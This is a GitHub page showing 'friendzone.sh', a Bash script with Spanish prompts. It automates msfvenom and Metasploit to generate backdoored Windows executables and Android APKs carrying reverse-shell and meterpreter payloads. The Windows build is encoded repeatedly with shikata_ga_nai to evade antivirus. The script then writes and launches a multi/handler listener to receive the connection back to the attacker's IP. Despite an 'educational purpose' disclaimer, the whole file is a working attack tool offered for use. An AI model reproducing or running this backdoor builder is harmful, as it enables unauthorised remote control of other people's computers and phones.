-
Notifications
You must be signed in to change notification settings - Fork 1
/
friendzone.sh
255 lines (217 loc) · 8.99 KB
/
friendzone.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
#!/bin/bash
#This exploit be used to EDUCATIONAL PURPOSE only
OWNER='n0obit4'
GITHUB='https://github.com/n0obit4'
VERSION='v1.0'
red="\033[1;31m"
green="\033[1;32m"
yellow="\033[1;33m"
blue="\033[1;34m"
transparent="\e[0m"
Cyan="\033[0;36m"
ruta="/tmp/iniciar.rc"
###########################
# Author #
# BY: n0obit4 #
# Date: 15/May/2020 #
###########################
#Github: https://github.com/n0obit4
clear
#lista de payloads
WindowsPayloads=("windows/shell/reverse_tcp" "windows/shell_bind_tcp" "windows/meterpreter/reverse_tcp" "windows/meterpreter/reverse_http")
AndroidPayloads=("android/shell/reverse_tcp" "android/shell/reverse_http" "android/meterpreter/reverse_tcp" "android/meterpreter/reverse_http")
#verificar si es root
if [[ $EUID > 0 ]]; then # we can compare directly with this syntax.
echo "##################################################################"
echo -e "$yellow""# Please run as root/sudo # "
echo -e "$red""# sudo bash Friendzone.sh #""$transparent"
echo "##################################################################"
exit 1
fi
#tu direccion ip local
#muestra la primera dirección ip del host
lanip=`hostname -I | awk '{print $1}'`
#puerto por default
defport="4444"
#Funcion windows
function windows(){
#recolectando datos
echo -e "$red" ""
echo " Payloads "
echo -e " ╔══════════════════════════════════════╗" "$transparent"
echo -e "$red" "╠ ""$green" "0)-""$transparent""$yellow""${WindowsPayloads[0]}""$red" " ╣"
echo -e "$red" "╠ ""------------------------------------""$red"" ╣"
echo -e "$red" "╠ ""$green" "1)-""$transparent""$yellow""${WindowsPayloads[1]}""$red" " ╣"
echo -e "$red" "╠ ""------------------------------------""$red"" ╣"
echo -e "$red" "╠ ""$green" "2)-""$transparent""$yellow""${WindowsPayloads[2]}""$red" " ╣"
echo -e "$red" "╠ ""------------------------------------""$red"" ╣"
echo -e "$red" "╠ ""$green" "3)-""$transparent""$yellow""${WindowsPayloads[3]}""$red" "╣"
echo -e "$red"" ╚══════════════════════════════════════╝"
echo ""
echo -ne "$blue"["$yellow"*"$transparent""$blue"]"$blue""Seleccione el payload: "
read payload
echo -ne "$blue"["$yellow"*"$transparent""$blue"]"$blue""Digite su dirección ip ("$green"$lanip"$transparent""$blue"): "
read ip
ip="${ip:-${lanip}}"
echo -ne "$blue"["$yellow"*"$transparent""$blue"]"$blue""Digite el puerto ("$green"$defport"$transparent""$blue"): "
read puerto
puerto="${puerto:-${defport}}"
echo -ne "$blue"["$yellow"*"$transparent""$blue"]"$blue""Nombre del backdoor(.exe): "
read name
nombre=$name".exe"
#limpiar la terminal
clear
#Mostrando datos recolectados
echo -e "$yellow""Trabajando con los siguientes datos"
echo ""
echo -e "$blue" "╔══════════════════════════════════════════╗"
echo -e "$blue" "╠ IP: "$transparent" "$red"$ip " "$transparent"
echo -e "$blue" "╠ Puerto: "$transparent" "$red"$puerto " "$transparent"
echo -e "$blue" "╠ Payload: "$transparent" "$red"${WindowsPayloads[payload]} " "$transparent"
echo -e "$blue" "╠ Nombre: "$transparent" "$red"$nombre " "$transparent"
echo -e "$blue" "╠ By: "$transparent" "$red"$OWNER " "$transparent"
echo -e "$blue" "╠ Github: "$transparent" "$red"$GITHUB " "$transparent"
echo -e "$blue" "╚══════════════════════════════════════════╝"
#generando .rc para metasploit
echo '''
use exploit/multi/handler
set payload '${WindowsPayloads[payload]}'
set LHOST '$ip'
set LPORT '$puerto'
exploit
''' > $ruta
#trabajando
if [ -d output ];
then
echo ""
else
mkdir output
fi
#Creando exploit
msfvenom -p ${WindowsPayloads[payload]} -a x86 --platform windows -e x86/shikata_ga_nai -i 11 LHOST=$ip LPORT=$puerto -f exe -o "output/$nombre" 2&> /dev/null
echo -e "$green" "Finalizado"
echo ""
#Iniciar metasploit con el .rc
echo -ne "Desea listarlo con metasploit (S/N): "
read metas
if [ "$metas" = "s" ];then
msfconsole -q -r $ruta
elif [ "$metas" = "S" ];then
msfconsole -q -r $ruta
else
echo -e "$red""bye :("
fi
}
#funcion Android
function Android() {
#recolectando datos
echo -e "$red" ""
echo " Payloads "
echo -e " ╔══════════════════════════════════════╗" "$transparent"
echo -e "$red" "╠ ""$green" "0)-""$transparent""$yellow""${AndroidPayloads[0]}""$red" " ╣"
echo -e "$red" "╠ ""------------------------------------""$red"" ╣"
echo -e "$red" "╠ ""$green" "1)-""$transparent""$yellow""${AndroidPayloads[1]}""$red" " ╣"
echo -e "$red" "╠ ""------------------------------------""$red"" ╣"
echo -e "$red" "╠ ""$green" "2)-""$transparent""$yellow""${AndroidPayloads[2]}""$red" " ╣"
echo -e "$red" "╠ ""------------------------------------""$red"" ╣"
echo -e "$red" "╠ ""$green" "3)-""$transparent""$yellow""${AndroidPayloads[3]}""$red" "╣"
echo -e "$red"" ╚══════════════════════════════════════╝"
echo ""
echo -ne "$blue"["$yellow"*"$transparent""$blue"]"$blue""Seleccione el payload: "
read payload
echo -ne "$blue"["$yellow"*"$transparent""$blue"]"$blue""Digite su dirección ip ("$green"$lanip"$transparent""$blue"): "
read ip
ip="${ip:-${lanip}}"
echo -ne "$blue"["$yellow"*"$transparent""$blue"]"$blue""Digite el puerto ("$green"$defport"$transparent""$blue"): "
read puerto
puerto="${puerto:-${defport}}"
echo -ne "$blue"["$yellow"*"$transparent""$blue"]"$blue""Nombre del backdoor(.apk): "
read name
nombre=$name".apk"
#limpiar la terminal
clear
echo -e "$yellow""Trabajando con los siguientes datos"
echo ""
echo -e "$blue" "╔══════════════════════════════════════════╗"
echo -e "$blue" "╠ IP: "$transparent" "$red"$ip " "$transparent"
echo -e "$blue" "╠ Puerto: "$transparent" "$red"$puerto " "$transparent"
echo -e "$blue" "╠ Payload: "$transparent" "$red"${AndroidPayloads[payload]} " "$transparent"
echo -e "$blue" "╠ Nombre: "$transparent" "$red"$nombre " "$transparent"
echo -e "$blue" "╠ By: "$transparent" "$red"$OWNER " "$transparent"
echo -e "$blue" "╠ Github: "$transparent" "$red"$GITHUB " "$transparent"
echo -e "$blue" "╚══════════════════════════════════════════╝"
#generando .rc para metasploit
echo '''
use exploit/multi/handler
set payload '${AndroidPayloads[payload]}'
set LHOST '$ip'
set LPORT '$puerto'
exploit
''' > $ruta
#trabajando
if [ -d output ];
then
echo ""
else
mkdir output
fi
#Creando exploit
msfvenom -p ${AndroidPayloads[payload]} --platform android LHOST=$ip LPORT=$puerto -f apk -o "output/$nombre" 2&> /dev/null
echo -e "$green" "Finalizado"
echo ""
#Iniciar metasploit con el .rc
echo -ne "Desea listarlo con metasploit (S/N): "
read metas
if [ "$metas" = "s" ];then
msfconsole -q -r $ruta
elif [ "$metas" = "S" ];then
msfconsole -q -r $ruta
else
echo -e "$red""bye :("
fi
}
#funcion menu
function menu() {
#banner
echo -e "$red"" "
echo " ______ _ __ "
echo " / ____/____(_)__ ____ ____/ /___ ____ ____ ___ "
echo " / /_ / ___/ / _ \/ __ \/ __ /_ / / __ \/ __ \/ _ \ "
echo " / __/ / / / / __/ / / / /_/ / / /_/ /_/ / / / / __/ "
echo "/_/ /_/ /_/\___/_/ /_/\__,_/ /___/\____/_/ /_/\___/ $VERSION "
echo " "
echo " BY: $OWNER "
echo -e "Github: https://github.com/n0obit4 \n " "$transparent"
echo -e "$yellow""Sistemas para comprometer"
echo ""
echo -e "$green""1)-"$yellow" Windows"
echo -e "$green""2)-"$yellow" Android"
echo ""
echo -e "$red""(S)-Salir"
echo ""
echo -ne "$blue""["$yellow"*"$transparent"]"$blue"Seleccione su opción: "
read opcion
if [ "$opcion" = "1" ];then
#llamando funcion de windows
clear
windows
elif [ "$opcion" = "2" ];then
#llamando funcion de Android
clear
Android
elif [ "$opcion" = "S" ];then
echo -e "$red""Saliendo..."
sleep 2.5
clear
elif [ "$opcion" = "s" ];then
echo -e "$red""Saliendo..."
sleep 2.5
clear
else
echo -e "$red""Error al elegir la opción."
sleep 2.5
clear
menu
fi
}
menu